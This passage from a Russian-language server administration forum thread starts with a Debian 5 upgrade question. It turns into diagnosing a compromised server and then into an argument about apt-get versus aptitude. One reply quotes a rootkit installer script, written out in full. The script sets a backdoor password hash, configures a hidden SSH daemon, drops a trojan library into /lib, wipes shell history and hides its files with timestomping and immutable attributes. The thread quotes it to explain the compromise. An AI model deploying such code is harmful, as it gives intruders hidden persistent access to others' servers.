обновление до debian 5

123
L
На сайте с 13.01.2011
Offline
132
#11

уже давно показал

server:/etc# cat /etc/sh.conf

4de92b626ebd6722c9148498b781e8ad -

lsattr /etc/sh.conf

s---ia------------- /etc/sh.conf

Контакты-icq 535609 ()
Raistlin
На сайте с 01.02.2010
Offline
247
#12

ну чтобы менять, надо снять аттрибут i точно так же. А вообще...

C вашей системой произошло описанное ниже, или что-то близкое. Только реформат, с последующим аудитом безопасности сайтов.

# checking if we got needed libs and filez

if [ ! -f /lib/libproc.a ]; then
mv lib/libproc.a /lib/
fi

if [ ! -f /lib/libproc.so.2.0.6 ]; then
mv lib/libproc.so.2.0.6 /lib/
fi

/sbin/ldconfig >/dev/null 2>&1

#if [ -f /lib/libncurses.so.5 ]; then
# echo ""
#else
# ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi

if [ -f /.bash_history ]; then
chattr -isa /.bash_history >/dev/null 2>&1
rm -rf /.bash_history
fi

if [ -f /bin/.bash_history ]; then
chattr -isa /bin/.bash_history
rm -rf /bin/.bash_history
fi

if [ ! -f /usr/bin/md5sum ]; then
touch -acmr /bin/ls bin/md5sum
cp bin/md5sum /usr/bin/md5sum
fi

if test -n "$1" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi

touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf

if test -n "$2" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi

if [ -f /lib/lidps1.so ]; then
chattr -isa /lib/lidps1.so
rm -rf /lib/lidps1.so
fi

if [ -f /usr/include/hosts.h ]; then
chattr -isa /usr/include/hosts.h
rm -rf /usr/include/hosts.h
fi

if [ -f /usr/include/file.h ]; then
chattr -isa /usr/include/file.h
rm -rf /usr/include/file.h
fi

if [ -f /usr/include/log.h ]; then
chattr -isa /usr/include/log.h
rm -rf /usr/include/log.h
fi

if [ -f /usr/include/proc.h ]; then
chattr -isa /usr/include/proc.h
rm -rf /usr/include/proc.h
fi

cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/
HostAce - Асы в своем деле (http://hostace.ru)
M
На сайте с 16.09.2009
Offline
278
#13
Raistlin:
Чоооо?
http://www.debian.org/releases/lenny/i386/release-notes/ch-upgrading.ru.html#backup
Вот отсюда можно читать.

Вы читали этот текст? Все именно так, как я написал: сначала (обязательно!) upgrade, а потом dist-upgrade. Только рекоммендуемая утилита - aptitude.

Logger:
Raistlin, снял атрибуты и проблема ушла, спасибо.

"Проблема" - у Вас "в головах", если Вы не понимаете, что Вам пишут. Сервер скомпрометирован - его не обновлять надо, а сетапить с нуля заново. Бяку можно вычистить, но лучше/дешевле - перестраховаться.

Абонементное сопровождение серверов (Debian) Отправить личное сообщение (), написать письмо ().
Raistlin
На сайте с 01.02.2010
Offline
247
#14
myhand:
Вы читали этот текст

В отличии от вас - да. И скажу, что набор символов "upgrade" встречается в тексте 26 раз, но нигде не встречается такой параметр. А рекомендация "safe-upgrade" это несколько другое. И если имелось ввиду вот это:

Так как некоторые необходимые пакеты конфликтуют при обновлении etch до lenny, непосредственный запуск aptitude dist-upgrade часто приводит к удалению большого числа пакетов, которые вы хотели бы сохранить. Поэтому мы рекомендуем производить обновление в две стадии — сначала минимальное обновление, чтобы разобраться с конфликтами, а затем полный dist-upgrade.

Сначала запустите:

# aptitude safe-upgrade
Это приведёт к обновлению только тех пакетов, которые можно обновить без необходимости удаления или установки других пакетов.

Следующий шаг зависит от набора установленных пакетов. В данном документе даны общие советы о том, какие методы должны быть использованы, но если есть сомнения, то перед тем как продолжить, рекомендуется проверить все пакеты, которые предлагаются к удалению каждым методом.

Вот некоторые пакеты, которые обычно предлагаются к удалению: base-config, hotplug, xlibs, netkit-inetd, python2.3, xfree86-common и xserver-common. Полный список устаревших пакетов в lenny см. Раздел 4.10, «Устаревшие пакеты».

Тогда, я думаю, разница очевидна. dist-upgrade по-другому обрабатывает зависимости, чтобы было понятнее. Больше никаких различий нет.

M
На сайте с 16.09.2009
Offline
278
#15
Raistlin:
А рекомендация "safe-upgrade" это несколько другое.

Это как раз аналог опции upgrade для apt-get при смене релиза.

Raistlin
На сайте с 01.02.2010
Offline
247
#16

myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости. А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...

Andreyka
На сайте с 19.02.2005
Offline
822
#17

Logger, учитывая что у тебя руткит, я думаю стоит попросить хакера взломавшего твой сервер

Оставь в директории /root/ файл for_my_hacker.txt и там напиши: please fix my path for /usr/bin before /usr/local/bin

Не стоит плодить сущности без необходимости
M
На сайте с 16.09.2009
Offline
278
#18
Raistlin:
myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости.

У apt-get нет опции safe-upgrade. Если ТС использует для обновления apt-get, то upgrade для него - ближайший аналог опции safe-upgrade для aptitude. Что непонятно?

Raistlin:
А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...

Не заведете привычку читать штатную документацию - через ~230 дней избавитесь и от последней машины без дебиана.

safe-upgrade (аналог apt-get upgrade) - не может провести обновление пакета в случае, если для этого по зависимостям потребуется удаление какого-то другого. Только в этом отличие от dist-upgrade.

Raistlin
На сайте с 01.02.2010
Offline
247
#19

myhand, А, ну да. Я любитель aptitude (был). Так вот. apt-get upgrade как раз может сломать систему, так как для его выполнения потребуется снести/установить что-то стороннее, чтобы избавиться от зависимостей. И да, это как раз рекомендация для того, чтобы не снесло полсистемы. Хотя графическую среду обычно один черт сносит очень не слабо. В том и дело, что пишут aptitude не просто так. А apt-get может и сломать систему в два счета. Это хорошо проявляется на обновлении с пятерки до шестерки и на всяких "бубунтах". Вот такие дела. За что их, эти бубунты, собственно, не люблю. Собственно только лишь потому, что upgrade не способен решить зависимости при обновлении релиза.

M
На сайте с 01.12.2009
Offline
235
#20

баранки и пряники, на на на на =) ( прошу меня извинит за ОФФТОП)

Администратор Linux,Freebsd. построения крупных проектов.
123

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий